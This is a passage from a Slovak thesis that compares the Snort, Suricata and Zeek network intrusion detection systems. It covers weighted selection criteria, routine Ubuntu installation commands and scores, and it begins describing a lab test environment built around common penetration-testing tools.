v celej podsieti. Zvyčajne sa umiestňuje na strategické body v sieti, napŕıklad
na rozhranie dvoch podsiet́ı alebo na rozhranie medzi internetom a intrane-
tom. Umiestňuje sa teda do rovnakých miest ako firewall. Podobne ako HIDS
monitoruje oba smery siet’ovej prevádzky a upozornenia posiela siet’ovému
administrátorovi.

19Je to množina operačných systémov, ktoré vychádzajú z filozofie UNIXu. Pŕıkladom sú
Linuxové distribúcie, rodina BSD a Mac OS X.
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2.1. Defińıcia

NIDS engine môže navyše využ́ıvat’ neurónové siete a umelú inteligen-
ciu na zrýchlenie a spresnenie analýzy. Samoučiace algoritmy zas umožňujú
zlepšovat’ detekciu podozrivých aktiv́ıt a neopakovat’ chyby v budúcnosti.

Ked’že NIDS monitoruje komunikáciu zo všetkých zariadeńı v sieti, je
množstvo paketov výrazne vyššie v porovnańı s HIDS. Z tohto dôvodu nie je
vždy možné vykonávat’ kompletnú analýzu všetkých paketov. Preto je k dis-
poźıcii selekt́ıvne vykonávanie analýzy. To je zvyčajne riadené podl’a pravidiel,
ktoré definuje administrátor, alebo odporúča vývojár daného systému. Tiež sa
z dôvodu väčšieho množstva dát umiestňuje NIDS spravidla na dedikovaný20

hardvér so silným výpočtovým výknom.

2.1.4 Signature-based IDS

Tento typ IDS využ́ıva na detekciu podozrivých paketov databázu vzorov
známych útokov. Tie sú dodávané výrobcom daného IDS. Tieto vzory, ktoré sa
zvyknú nazývat’ tiež podpisy (angl. signature), sú napŕıklad bytové sekvencie
alebo rôzne pŕıznaky a IDS ich hl’adá v paketoch. V pŕıpade, že sa podpisy zho-
dujú je daný paket označený ako podozrivý. Na podobnom prinćıpe fungujú
aj antiv́ırusové programy.

Výhodou tohto typu detekcie je jej vysoká rýchlost’. Preto je možné analy-
zovat’ viac paketov za menš́ı čas v porovnańı s Anomaly-based IDS. Na druhú
stranu má tento pŕıstup dve nevýhody. Neznáme útoky táto analýza pravde-
podobne nezachyt́ı a databázu podpisov je potrebné pravidelne aktualizovat’,
aby bolo možné zachytit’ aj najnovšie známe typy útokov.

2.1.5 Anomaly-based IDS

Tento IDS dokáže zachytit’ aj neznáme typy útokov. Využ́ıva na to štatistické
vlastnosti normálnej siet’ovej prevádzky. To znamená, že IDS si vytvoŕı re-
ferenčný model dôveryhodnej aktivity na základe informácíı ako sú prene-
sený objem dát, protokoly, porty, IP adresy a podobne, ktoré nazbiera počas
zvyčajného chodu siete [22]. Rovnako môže byt’ na vytvorenie tohto modelu
použité strojové učenie. Tento model sa potom porovnáva so siet’ovou komu-
nikáciou v reálnom čase a hl’adá odchylky.

Výhodou tejto implementácie detekcie je fakt, že dokáže rozoznat’ anomálie
v siet’ovej prevádzke a vd’aka tomu upozornit’ aj na neznáme typy útokov,
pŕıpadne dokonca rozoznat’ prichádzajúci DoS21 útok [23]. Nevýhodami tohto
pŕıstupu sú pomaľsie spracovanie paketov oproti Signature-based IDS a tiež
vyššie množstvo false positive označeńı, kedy je za podozrivú označená aj
neškodná komunikácia.

20Vyhradený špecificky pre tento účel.
21Denial of Service je úmyselné pret’aženie ciel’ovej služby tak, že sa na ňu pošle obrovský

počet požiadaviek a server ich nie je schopný spracovat’.
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2. Výber a inštalácia IDS

2.1.6 IPS

Intrusion Prevention System je pokročileǰśı IDS, ktorý je schopný okrem zápisu
udalosti do logu a zaslania upozornenia okamžite reagovat’ na podozrivé ak-
tivity v sieti. Dokáže vykonat’ opatrenia na zastavenie alebo prerušenie ne-
bezpečnej komunikácie. To môže urobit’ napŕıklad tak, že uprav́ı pravidlá vo fi-
rewalle, aby ju zablokoval, alebo môže podozrivé pakety zahodit’, či zmenit’
ich obsah a podobne. Tieto opatrenia je možné definovat’ v podobe pravi-
diel. Nevýhoda IPS spoč́ıva v tom, že v pŕıpade chyby môže zablokovat’ aj
neškodnú komunikáciu, pretože ju vyhodnot́ı ako podozrivú. Toto sa stáva
najmä vtedy, ked’ je IPS ešte nevykalibrovaný alebo pŕılǐs krátko nasadený
na to, aby dokázal rozĺı̌sit’ neškodnú komunikáciu od nebezpečnej.

2.2 Kritériá výberu

Podl’a predchádzajúcich defińıcíı môžeme povedat’, že hl’adáme do firemného
prostredia NIDS, ked’že je potrebné monitorovat’ siet’ovú prevádzku mnohých
zariadeńı medzi firemným intranetom a verejným internetom.

Počas konzulácie s vedúcim práce sme na základe odporúčania kolegu
a podl’a d’aľśıch zdrojov [21] [24] vybrali troch favoritov medzi NIDS imple-
mentáciami:

• Snort

• Suricata

• Zeek

Zároveň boli pre výber v́ıt’aza spomedzi týchto NIDS implementácíı defi-
nované nasledujúce kritériá, ktoré určujú, čo si budeme na jednotlivých kan-
didátoch vš́ımat’. V zátvorke je ku každému kritériu uvedené percentuálne
ohodnotenie, ktoré určuje jeho váhu pri výbere:

[vc = 10%] Cena Ako pri každom produkte, aj tu je finančná stránka dôležitý
faktor. Nejde však iba o cenu samotného produktu alebo o cenu pridanej
funkcionality. Ide aj o cenu za jeho prevádzku a údržbu, čo je l’udská
práca, ktorú je potrebné zaplatit’.

[vd = 10%] Dokumentácia Súčast’ou každého dobrého softvéru by mala byt’
kvalitná dokumentácia. Aby bolo jasné, ako ho použ́ıvat’ a v pŕıpade
problémov rýchlo nájst’ riešenie.

[vp = 40%] Použitel’nost’ Zrozumitel’ný výstup, úspešnost’ detekovaných úto-
kov, vykonávanie určenej úlohy a jednoduchost’ použitia softvéru zaist’uje
jeho použitel’nost’.
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2.3. Snort

[vu = 20%] Údržba Zálohovanie, obnova, zmeny konfigurácie a upgradovanie
na novú verziu sú pravidelne vykonávané úlohy, ktoré by mali byt’ na-
vrhnuté tak, aby fungovali spol’ahlivo a vyžadovali primerané množstvo
času na vykonanie.

[vv = 20%] Vlastnosti Prepracované ovládanie, funkčné už́ıvatel’ské rozhra-
nie, rýchlost’, možnosti rozš́ırenia o IPS či rôzne integrácie do produktov
tret́ıch strán sú vždy užitočné vlastnosti, ktoré môžu pri výbere rozho-
dovat’.

Plat́ı: ∑
i∈{c,d,p,u,v}

vi = 1 (2.1)

Celkové hodnotenie h(α) pre NIDS α sa vypoč́ıta pomocou vzorca:

h(α) =
∑

i∈{c,d,p,u,v}
vihi(α) (2.2)

Kde vi je váha kritéria i, a hi(α) je hodnotenie kritéria i pre NIDS α.

Ked’že téma IDS je vel’mi rozsiahla a komplexná, dôkladné a vyčerpávajúce
porovnanie by bolo pre účely tejto práce a záujmov firmy neprimerané. Z tohto
dôvodu bude porovnanie zamerané z vel’kej časti na praktickú použitel’nost’
a úspešnost’ detekovaných útokov v analyzovanom firemnom prostred́ı, čo
odráža aj váha, ktorá je priradená tomuto kritériu. Týmto bodom použitel’nosti
sa však budú zaoberat’ až nasledujúce kapitoly.

Táto kapitola bude obsahovat’ bližšie predstavenie vlastnost́ı jednotivých
NIDS. Pozrieme sa na cenu, dostupnú dokumentáciu, popis procesov údržby
v rámci nej a proces inštalácie. Systémy budú nainštalované na dedikovaný
server s operačným systémom Ubuntu 18.04.2.

Bolo by dobré, keby mal každý NIDS schopnost’ analyzovat’ pcap súbory
v offline režime. To by umožňovalo preskočenie konfigurácie online odpočúvania
siet’ového rozhrania medzi útočńıkom a ciel’mi v budúcich kapitolách. Namiesto
toho by sa útoky jednoducho zachytávali do pcap súborov a následne by sa
podrobili offline analýze každým zo systémov.

2.3 Snort

Popis

Martin Roesch vytvoril Snort v roku 1998 a neskôr založil firmu Sourcefire
s týmto produktom. Táto bola v roku 2013 odkúpená spoločnost’ou Cisco
Systems. Tá ponúka komerčné produkty postavené na technológii Snortu
a predáva preň aj zoznam pravidiel s okamžitými aktualizáciami, ktoré sú
po uplynut́ı tridsiatich dńı dostupné pre verejnost’.
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2. Výber a inštalácia IDS

Snort je celosvetovo najpouž́ıvaneǰśı IDS softvér a je vyv́ıjaný ako projekt
s otvoreným zdrojovým kódom a vol’ným použit́ım. Vd’aka tomu má vel’kú
komunitu, ktorá prispieva k jeho vývoju, testovaniu a vylepšovaniu. To zaist’uje
jeho stabilitu, funkčnost’ a podporu.

Ponúka funkcionalitu IPS, dokáže analyzovat’ a logovat’ siet’ovú prevádzku
v reálnom čase, je schopný analyzovat’ jednotlivé protokoly a vyhl’adávat’ v nich
daný obsah. Môže byt’ použitý na detekciu celej rady útokov, ako je napŕıklad
pretečenie vyrovnávacej pamäte, utajené skenovanie portov, OS fingerprinting
a mnohé d’aľsie [25].

Umožňuje mu to jeho engine, ktorý je založený na pravidlách a kombinuje
výhody Signature a Anomaly-based metód siet’ovej analýzy. Vd’aka týmto pra-
vidlám je flexibilný a už́ıvatel’ si môže sám dodefinovat’ pravidlá presne tak,
ako potrebuje.

Snort má však aj svoje slabé stránky. Medzi ne patŕı neschopnost’ tohto
systému rozpoznávat’ kontext siet’ovej prevádzky. To znamená že nedokáže
monitorovat’ správanie už́ıvatel’ov a aplikácíı naprieč viacerými paketmi. To
môže spôsobit’ generovanie vel’kého množstva upozorneńı, ktoré je potrebné
manuálne vyhodnotit’ [26].

Druhá nevýhoda je fakt, že Snort vo svojej najnovšej stabilnej verzii využ́ıva
na svoju prácu iba jedno vlákno [24] a teda nie je schopný využit’ viac jadier
na procesore22. To môže mat’ dopad na výkon a rýchlost’ analýzy väčšieho
množstva siet’ovej prevádzky.

Nakoniec je dôležité podotknút’, že Snort je schopný analyzovat’ pcap
súbory v offline režime23.

Inštalácia

Inštalačný proces je pomerne jednoduchý a prebehol bez väčš́ıch problémov
aj vd’aka výbornej dokumentácii24. Najprv je potrebné nainštalovat’ celú radu
závistlost́ı, ktoré Snort vyžaduje.

Takmer všetky sa nachádzajú predpripravené v repozitároch Ubuntu. Dve
bolo potrebné kompilovat’ zo zdrojového kódu. Jedna z nich bola požadovaná
až po neúspešnom spusteńı pŕıkazu ./configure. Na druhý krát už prebehlo
všetko bez problémov a Snort sa nainštaloval vo verzii 2.9.13, čo sa dá jed-
noducho overit’ pusteńım pŕıkazu snort -V.

Nasleduje konfigurácia, ktorá prebieha vytvoreńım adresárovej štruktúry
a skoṕırovańım pripravených šablón konfiguračných súborov do pŕıslušných
adresárov. Tie sa potom upravia a pridá sa triviálne pravidlo na detekciu

22Aktuálna stabilná verzia je 2.9.13. V čase ṕısania tejto práce však existuje Snort 3
v beta verzii, ktorý už danú funkcionalitu podporuje. Vid’: https://www.snort.org/snort3

23https://www.snort.org/documents/snort-users-manual-html
24Inštalačný manuál sa dá jednoducho vyhl’adat’ na stránkach dokumentácie podl’a ciel’ovej

platformy a verzie Snortu tu: https://www.snort.org/documents
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2.4. Suricata

ICMP komunikácie, aby bolo možné overit’ funkčnost’ detekcie. Predtým sa
ešte validuje aktuálna konfigurácia pŕıkazom:

snort -T -c /etc/snort/snort.conf

V domovskom adresári bol vytvorený testovaćı pcap súbor obsahujúci
ICMP komunikáciu. Pusteńım pŕıkazu:

snort -A console -q -c /etc/snort/snort.conf -r example.pcap

Výstupom o detekovaných ICMP paketoch sa overila funkčnost’ offline de-
tekcie. Nakoniec je ešte potrebné pridat’ rulesety25 na detekovanie reálnych
hrozieb. Tie sa st’ahujú pomocou špeciálneho programu nazývaného Pulled-
Pork, ktorý automatizuje ich st’ahovanie, inštaláciu, updatovanie a kombino-
vanie.

Aby bolo možné stiahnut’ najnovš́ı ruleset od skupiny Talos26 (predtým
známy ako VRT ruleset), je potrebné vlastnit’ unikátne č́ıslo nazývané Oin-
kcode, ktoré už́ıvatel’bezplatne źıska po registrácii na oficiálnej stránke Snortu.
To sa po inštalácii PulledPorku zadá do jeho konfigurácie a následne sa spust́ı
st’ahovanie pravidiel pŕıkazom:

pulledpork.pl -c /etc/snort/pulledpork.conf -l

Vo výstupe je vidiet’, že bolo stiahnutých viac ako šest’desiattiśıc nových
pravidiel, ktoré PulledPork automaticky skombinoval do jedného konfigurač-
ného súboru. Potom je potrebné pridat’ tento súbor do konfigurácie Snortu
a otestovat’ ju. Po úspešnom otestovańı je Snort pripravený na vykonávanie
svojej práce.

Niektoré volitel’né časti inštalácie ako napŕıklad konfigurácia siet’ového roz-
hrania, databáza na ukladanie upozorneńı a grafické už́ıvatel’ské rozhranie boli
preskočené, pretože na účely tejto práce zatial’ postač́ı základná funkcionalita.

2.4 Suricata

Popis

Jednou z najpopulárneǰśıch alternat́ıv k Snortu je práve Suricata. Tá je rov-
nako ako Snort vyv́ıjaná s otvoreným zdrojovým kódom, ktorý je zdarma
dostupný pre každého. Jej vel’ká výhoda však spoč́ıva v tom, že má úplne
odlǐsný detekčný engine. Vd’aka tomu je lepšia v dvoch aspektoch, v ktorých
mal Snort nedostatky.

Prvým aspektom je to, že na svoje výpočty dokáže využ́ıvat’ viacero vlákien
procesora a dokonca aj grafické karty. To zabezpečuje jej lepšiu škálovatel’nost’

25Týmto pojmom sa označujú skupiny pravidiel, ktoré detekujú hrozby.
26https://snort.org/talos
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2. Výber a inštalácia IDS

a rýchlost’ [27]. Druhou výhodou je, že Suricata analyzuje prevádzku na ap-
likačnej vrstve, čo jej umožňuje monitorovat’ kontext siet’ovej prevádzky. Vd’aka
tomu by mala byt’ schopná detekovat’ hrozby rozložené vo viacerých paketoch.
Tento engine použ́ıva na analýzu Signature a Anomaly-based metódy podobne
ako Snort [21].

Suricata je tiež kompatibilná so vstupom a výstupom Snortu a tým dokáže
využit’ výhody jeho vel’kej už́ıvatel’skej základne. Umožňuje jej to použ́ıvat’
rulesety, GUI aplikácie a databázu pre ukladanie výstupu, ktoré sú naṕısané
pre Snort.

Ďaľsie vlastnosti Suricaty zahŕňajú IPS engine, offline analýza pcap súbo-
rov, rozsiahla dokumentácia, filtrovanie upozorneńı, konfigurácia a výstup
v štandardných formátoch ako sú YAML a JSON. Dokáže tiež defragmento-
vat’ pakety a dekódovat’ komunikáciu na viacerých úrovniach ISO/OSI modelu.
Vd’aka tomu rozozná a dokáže analyzovat’ vel’ké množstvo protokolov vrátane
HTTP. Okrem toho má ešte d’aľsie vlastnosti a celý zoznam sa nachádza tu
[28].

Nevýhodou Suricaty je väčšia výpočtová zložitost’ jej enginu. Z tohto dôvo-
du potrebuje silný procesor v závislosti na objeme dát, ktoré má analyzovat’.

Inštalácia

Na inštaláciu je použitý inštalačný manuál, ktorý je odkazovaný priamo z hlav-
nej stránky projektu27. Suricata poskytuje vlastný Ubuntu repozitár s pred-
pripravenými inštalačnými baĺıčkami, čo redukuje inštalačný proces do troch
pŕıkazov:

add-apt-repository ppa:oisf/suricata-stable
apt-get update
apt-get install suricata

Týmto sa nainštalovala aktuálna stabilná verzia 4.1.3. Potom nasleduje
základná konfigurácia, kde sa nastav́ı IP adresa siete a d’aľsie veci ako napŕıklad
porty jednotlivých služieb. To je vel’mi podobné nastaveniam v Snorte.

Zauj́ımavá je tu konfiguračná čast’ host-os-policy, kde sa mapujú IP ad-
resy na operačné systémy. Rob́ı sa to z toho dôvodu, že každý operačný systém
spracováva fragmentované pakety a streamy trochu odlǐsným spôsobom. Su-
ricata dokáže vd’aka tomuto nastaveniu prispôsobit’ svoje správanie týmto
anomáliám.

Ďaľśı krok je stiahnutie a nastavenie rulesetu. S tým nastal menš́ı problém,
pretože link uvedený v poznámke27 odkazuje na staršiu dokumentáciu a tam
sa ruleset inštaluje ešte pomocou externého programu ako pri Snorte. Týmto

27https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Quick_
Start_Guide
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spôsobom však overenie konfigurácie Suricaty zlyhalo. Po chv́ıli hl’adania sa
dá nájst’ nová dokumentácia28, kde sa na tento účel použ́ıva už nástroj integ-
rovaný priamo do Suricaty a jednoduchým spusteńım pŕıkazu:

suricata-update

sa stiahne a aplikuje najnovš́ı ruleset. Štandardne tento pŕıkaz st’ahuje ru-
leset Emerging Threats Open od spoločnosti Proofpoint29. Je však možné na-
konfigurovat’ aj použitie spomı́naného Talos rulesetu s Oinkcodeom zo Snortu.

Nakoniec stač́ı už len overit’ správnost’ konfigurácie a nechat’ Suricatu pre-
verit’ testovaćı pcap súbor spusteńım pŕıkazov:

suricata -c /etc/suricata/suricata.yaml -T
suricata -c /etc/suricata/suricata.yaml -r example.pcap

Teraz už všetko prebehlo bez problémov a Suricata je pripravená na tes-
tovanie. Jej inštalácia bola značne jednoduchšia a rýchleǰsia ako pri Snorte.

2.5 Zeek

Popis

Práve kvôli jeho akademickému pozadiu a pôvodu je Zeek úplne odlǐsný od štan-
dardných NIDS. Projekt s pôvodným názvom Bro, ktorý začal ako výskum
na univerzite totiž implementuje unikátny pŕıstup k siet’ovej analýze. Nespo-
lieha sa na žiadnu konkrétnu detekčnú metódu a ani na tradičné signatúry
ako predchádzajúce implementácie.

Hlavná čast’ jeho funkcionality pochádza z experimentálnych výskumov
na akademickej pôde, ktoré boli integrované do jedného fungujúceho celku.
Výskumy nad’alej pokračujú a možno budú časom implementované do Zeeku
[29].

Zeek nehl’adá v siet’ovej prevádzke iba podozrivé správanie, ale analyzuje
ju ako postupnost’ udalost́ı a udržiava si jej rozsiahly stav na úrovni aplikačnej
vrstvy. Vd’aka tomu poskytuje vyšš́ı prehl’ad o siet’ovej aktivite [30].

Jeho engine pozostáva z dvoch čast́ı. Prvá čast’ vytvára podrobné logy
o siet’ovej prevádzke v podobe udalost́ı. Udalost’ou je napŕıklad nadviazanie
TCP spojenia, prihlásenie sa na FTP server alebo HTTP požiadavka. V dru-
hej časti je nad týmito udalost’ami vykonávaná analýza podl’a definovaných
skriptov naṕısaných v špeciálnom jazyku Bro. Tie sa dajú l’ubovol’ne upravovat’
a je ich možné do istej miery prirovnat’ k rulesetom zo Snortu.

28https://suricata.readthedocs.io/en/latest/index.html
29Dá sa nainštalovat’ aj do Snortu. Viac informácíı: https://www.proofpoint.com/us/

products/et-intelligence
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2. Výber a inštalácia IDS

To umožňuje monitorovat’ rôznorodú aktivitu. Týmito skriptami sa napŕı-
klad hl’adajú vzory správania zariadeńı v sieti a odchylky od tohto štandardu
predstavujú podozrivú aktivitu. Po zachyteńı podozrivej aktivity je vykonaná
reakcia, čo implementuje IPS funkcionalitu [31].

Zeek má aj d’aľsie vlastnosti ako napŕıklad podpora vel’kého počtu proto-
kolov, offline analýza pcap súborov, export dát do d’aľśıch aplikácíı, rastúca
komunita, podpora clusterov, škálovatel’nost’ a vysoký výkon [32]. Jeho slabými
stránkami sú menej pŕıvetivé už́ıvatel’ské rozhranie a komplikovaneǰsia konfi-
gurácia [24].

Inštalácia

Odkaz na inštalačný manuál30 sa dá jednoducho nájst’ priamo na hlavnej
stránke projektu. Ked’že Zeek, podobne ako Suricata, podporuje inštaláciu
predpripravených baĺıčkov z vlastného Ubuntu repozitára, je inštalácia rov-
nako jednoduchá:

echo ’deb http://download.opensuse.org/repositories/network:
/bro/xUbuntu_18.04/ /’ > /etc/apt/sources.list.d/bro.list

curl http://download.opensuse.org/repositories/network:/bro/
xUbuntu_18.04/Release.key | apt-key add -

apt-get update
apt-get install bro

Takto sa nainštalovala posledná stabilná verzia 2.6.1. Tu je vhodné po-
znamenat’, že prvý pokus inštalácie podl’a dokumentácie zlyhal, ked’že v nej
bol uvedený neexistujúci repozitár pre Ubuntu 17.04 (najaktuálneǰsia uvedená
verzia). Po dôkladneǰsom preštudovańı stránky je na nej možné nájst’ link
priamo na zoznam dostupných repozitárov, kde sa Ubuntu 17.04 nenachádza,
ale je tam Ubuntu 18.04 a tiež Ubuntu 18.10.

Ked’že Zeek sa týmto spôsobom nainštaluje do adresára /opt/bro, je
pre priamy pŕıstup k jeho binárnym súborom potrebné pridat’ túto cestu
do systémovej premennej PATH:

echo ’export PATH="$PATH:/opt/bro/bin"’ > /etc/profile.d/bro.sh

Teraz nasleduje konfigurácia siet’ového rozhrania, lokálnych siet́ı, rotácia
logov a posielanie mailov, ktoré bude pre testovacie účely vypnuté. Na spravo-
vanie clustera ale aj jednej inštancie Zeeku sa použ́ıva program broctl, ktorý
interpretuje pŕıkazy podobne ako shell. Po jeho spusteńı sa zobraźı prompt
[BroControl] > a pri prvom spusteńı je potrebné zadat’ pŕıkaz install.

30https://docs.zeek.org/en/stable/install/install.html
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Ďaľsie základné pŕıkazy sú start a stop, ktoré ovládajú beh Zeeku na po-
zad́ı ako systémového daemona. Posledná vec, ktorú je potrebné otestovat’ je
analýza testovacieho pcap súboru:

bro -r example.pcap

Tento pŕıkaz vytvoŕı logy v aktuálnom pracovnom adresári, takže je vhodné
pred jeho spusteńım vytvorit’ nový adresár a prepnút’ sa do neho. Inicia-
lizácia, naštartovanie, zastavenie aj testovaćı chod Zeeku prebehli v poriadku.
Inštalačný proces Zeeku bol aj napriek komplikácii najjednoduchš́ı zo všetkých
troch a v podstate funguje priamo out-of-the-box.

2.6 Porovnanie

Po bližšom predstaveńı, inštalácii a vyskúšańı jednotlivých riešeńı ich teraz
porovnáme vo všetkých definovaných kritériách okrem použitel’nosti, ktorej
bude venovaná samostatná kapitola neskôr v tejto práci.

Dokumentácia

V pŕıpade Snortu je dokumentácia na výbornej úrovni. Aktualizovaná, štruk-
túrovaná, vyčerpávajúca a nový už́ıvatel’ nemá problém sa v nej zoriento-
vat’, a nájst’ presne to, čo potrebuje. Navyše má vel’kú komunitu a dá sa
o ňom nájst’ množstvo informácii na internete. Jediná nevýhoda je, že ne-
obsahuje žiadne informácie o dôležitom procese upgradovania, ktoré ostatné
NIDS majú. Preto dostane hodnotenie 90%.

Suricata má v dokumentácii jednu vel’kú nevýhodu a tou je jej rozdele-
nie do dvoch čast́ı, kde jedna stará odkazuje na druhú novú a naopak. To
spôsobuje nepresnosti a neprehl’adnost’, pričom je ešte stará čast’ neaktualizo-
vaná. Mimo toho je nová dokumentácia výborne štruktúrovaná a obsahuje
všetky potrebné informácie, takže v konečnom dôsledku to nie až je také
závažné. Dokumentácia Suricaty si zaslúžila hodnotenie 90%.

Zeek je na tom o niečo lepšie ako zvyšné dve riešenia. Jeho dokumentácia
ohl’adne inštalácie je śıce neaktualizovaná, ale to samo o sebe nie je až taký
vel’ký problém vzhl’adom na fakt, že obsahuje link na dostupné repozitáre, čo
túto chybu napráva. Okrem toho je jeho dokumentácia na výbornej úrovni, ob-
sahuje všetky potrebné informácie a je naozaj podrobná. To Zeeku zabezpečilo
hodnotenie 95%.

Údržba

Zálohovanie a obnova sú u všetkých troch riešeńı vel’mi podobné a v pod-
state pozostávajú zo zálohy konfiguračných súborov a ich obnovy. Okrem
toho v pŕıpade existencie vlastných skriptov je potrebné zálohovat’ ešte aj tie.
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To sa dá jednoduchým spôsobom zautomatizovat’ a zaberie to zanedbatel’né
množstvo času. Rozdiely však nastávajú pri zmenách konfigurácie a upgrado-
vańı, kde majú jednotlivé riešenia dost’ odlǐsné pŕıstupy.

Nejde tu ani tak o základnú konfiguráciu a stiahnutie rulesetov, ale o do-
datočné pravidlá a skripty. V pŕıpade Snortu poskytuje vel’ké množstvo nových
pravidiel jeho komunita [21]. Ak sa tam požadované pravidlo nenachádza,
môže si ho už́ıvatel’ sám zadefinovat’ v jazyku, ktorý má jednoduchú a priamo-
čiaru syntax, chýba tu však podpora komplexneǰsieho skriptovania. Suricata
môže využit’ všetky výhody Snortu a okrem toho ešte poskytuje dodatočnú
podporu skriptovania využit́ım jazyka Lua, pre definovanie komplexneǰśıch
pravidiel [28].

Zeek je na tom o niečo horšie, pretože má úplne odlǐsnú architektúru
a vlastný jazyk, a tak nemôže využit’ pravidlá zo Snortu alebo Suricaty. Ko-
munita tu je menšia a preto nie je k dispoźıcii také vel’ké množstvo pravidiel
a väčšinou si ich muśı už́ıvatel’ definovat’ sám. Tieto pravidlá sa definujú v ja-
zyku Bro, ktorý je náročný a vyžaduje dôkladneǰsie štúdium. Achitektúra Ze-
eku je komplexneǰsia v porovnańı so Snortom a Suricatou, a preto sú pŕıpadné
konfiguračné zmeny časovo náročneǰsie [31].

Čo sa týka upgradovania na novú verziu, tak tu je na tom najhoršie jed-
noznačne Snort, ked’že sa kompiluje priamo zo zdrojového kódu a tým pádom
je potrebné tento proces absolvovat’ pri každej novej verii. Suricata tak isto
ako Zeek poskytujú softvérové baĺıčky z vlastných repozitárov a tak je upg-
rade na novú verziu triviálny. Tieto dôvody priniesli Snortu hodnotenie 85%,
Suricate 100% a Zeeku 70%.

Vlastnosti

Všetky tri implementácie sú štandardne nainštalované bez grafického už́ıvatel’-
ského rozhrania a ĺı̌sia sa v tom, aké majú možnosti integrácie s aplikáciami
tret́ıch strán.

Snort a Suricata majú týchto možnost́ı celú radu [21] [28], zatial’ čo Zeek
má tieto možnosti obmedzené [31]. Naopak má Zeek z hl’adiska architektúry
enginu, možnosti skriptovania a práce s dátami obrovský potenciál na lepšie
prispôsobenie a podrobneǰsie celkové monitorovanie siete než zvyšné dve rieše-
nia, čo si však vyžaduje množstvo práce navyše. Pokročilú skriptovaciu fun-
kcionalitu ponúka aj Suricata.

Snort najviac zaostáva z už spomı́naného hl’adiska škálovatel’nosti a roz-
poznávania kontextu siet’ovej komunikácie, čo sú dva podstatné faktory. Na-
koniec je ešte dobre spomenút’ možnost’ zakúpenia neustále aktualizovaných
pravidiel do Snortu a Suricaty, čo je pre ochranu pred novými hrozbami vel’mi
dôležité. Zeek takúto možnost’ nemá a spolieha sa v tomto pŕıpade na svoj
engine a detekciu anomálíı.

Snort so svojimi nedostatkami dostal 70%, jednoznačný ĺıder je tu Suricata,
ktorá si vyslúžila 100%, ked’že jej prakticky nie je čo vytknút’ a Zeek má v tejto
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2.6. Porovnanie

Tabul’ka 2.1: Priebežné hodnotenie vybraných NIDS riešeńı.

Dokumentácia Údržba Vlastnosti Cena
∑

Snort 90% 85% 70% 90% 49%
Suricata 90% 100% 100% 100% 59%
Zeek 95% 70% 50% 75% 41%

kategórii vel’ké nedostatky, preto iba 50%.

Cena

Všetky tri riešenia sú úplne zadarmo. Snort a Suricata okrem toho ponúkajú
neustále aktuálne pravidlá za nejaký poplatok, čo je volitel’né. Okrem týchto
nákladov je však potrebné zvážit’ aj cenu za inštaláciu, konfiguráciu a údržbu
týchto systémov.

Všetky tieto faktory boli počas kapitoly podrobne poṕısané a hodnotenie
dostali prevažne na tomto základe. Snort źıskal 90% kvôli horšiemu procesu
upgradovania. Suricata dostala 100% pretože jej inštalácia a proces upgra-
dovania je jednoduchý, a rovnako nenáročná by mala byt’ aj jej konfigurácia
a údržba. Nakoniec Zeek dostal 75%, kvôli svojej komplexnosti a náročnosti
konfigurácie a údržby, avšak pomohol mu fakt, že jeho inštalácia je skutočne
triviálna a nevyžaduje časté updaty. Priebežné dosiahnuté hodnotenie jednot-
livých NIDS systémov podl’a ohodnotených kritéríı je zhrnuté v tabul’ke 2.1.
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Kapitola 3
Pŕıprava testovacieho prostredia

Na základe výsledkov analýzy v kapitole 1 bude pripravené prostredie na otes-
tovanie účinnosti vybraných NIDS riešeńı. Toto prostredie bude pozostávat’
z troch poč́ıtačov. Na dvoch z nich sa budú nachádzat’ najpočetneǰsie zastúpené
operačné systémy v analýze, to znamená Windows a Linux, a budú predsta-
vovat’ zranitel’né ciele útokov. Okrem týchto dvoch serverov sa bude v pro-
stred́ı nachádzat’ ešte poč́ıtač, z ktorého budú vykonané útoky. Na ten bude
nainštalovaný vol’ne dostupný softvér určený na penetračné testovanie a siet’o-
vú analýzu. Jedná sa o tieto nástroje:

• nmap

• ncrack

• hping3

• Metasploit

Na ciel’och budú podl’a výsledkov analýzy nainštalované vybrané služby.
Ked’že úlohou tejto práce je zistit’ do akej miery sú zvolené NIDS imple-
mentácie schopné detekovat’ známe útoky a na základe toho ich porovnat’,
budú jednotlivé služby nainštalované a nakonfigurované úmyselne tak, aby
bolo možné útoky vykonat’. To bude zároveň aj kritériom ich výberu, a teda
budú vybrané iba služby, na ktoré je možné zaútočit’ pomocou bežných pe-
netračných nástrojov.

Ked’že podl’a predchádzajúcej kapitoly všetky vybrané NIDS implementá-
cie dokážu analyzovat’ zachytenú siet’ovú prevádzku v offline režime, bude
počas vykonávania jednotlivých útokov siet’ová prevádzka nahrávaná pomo-
cou programu tcpdump pre Linux a pomocou Wiresharku pre Windows. Každý
útok bude nahratý na strane ciel’a do svojho vlastného súboru vo formáte pcap.
Tieto súbory budú následne analyzované každým z NIDS systémov. Tento
pŕıstup so sebou prináša dve výhody. Prvou je zjednodušenie konfigurácie tes-
tovacieho prostredia a samotných NIDS, pretože u nich odpadá nutnost’ konfi-
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Obr. 3.1: Schéma testovacieho prostredia.

gurácie odpočúvania siet’ových rozhrańı serverov. Druhou výhodou je možnost’
d’aľsieho využitia týchto pcap súborov na iné účely. Celé testovacie prostredie
ilustruje obrázok 3.1.

Teraz budú podrobneǰsie poṕısané programy, nástroje a operačné systémy,
ktoré budú v testovacom prostred́ı použité. Výnimku tvoŕı program nmap,
ktorý bol predstavený v kapitole 1. Samotným priebehom útokov a testovańım
NIDS sa bude zaoberat’ nasledujúca kapitola.
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3.1. Útočńık

3.1 Útočńık

ncrack

Tento program je schopný extrémne rýchlo lámat’ prihlasovacie údaje do služieb
v sieti metódou bruteforce. To znamená, že sa skúša prihlásit’ použit́ım všetkých
možných kombinácíı prihlasovaćıch údajov, ktoré sú dopredu zadané v jeho pa-
rametroch. To je užitočné napŕıklad pre zvyšovanie a testovanie bezpečnosti
siete hl’adańım slabých hesiel.

Tento program je projekt vývojárov nmapu. Dokáže testovat’ viacero hos-
tov naraz, umožňuje kontrolovat’ intenzitu odosielania prihlasovaćıch údajov
a podporuje viacero protokolov, ktoré zahŕňajú ssh, rdp a vnc [33]. Má ot-
vorený zdrojový kód31 a inštalácia prebieha jeho kompiláciou na ciel’ovom
systéme.

hping3

Siet’ový nástroj hping3 dokáže odosielat’ špecificky upravené TCP/IP pa-
kety a zobrazovat’ odpovede podobne ako známy pŕıkaz ping, ktorým bol
inšpirovaný. Na rozdiel od neho však dokáže odosielat’ nielen ICMP, ale aj
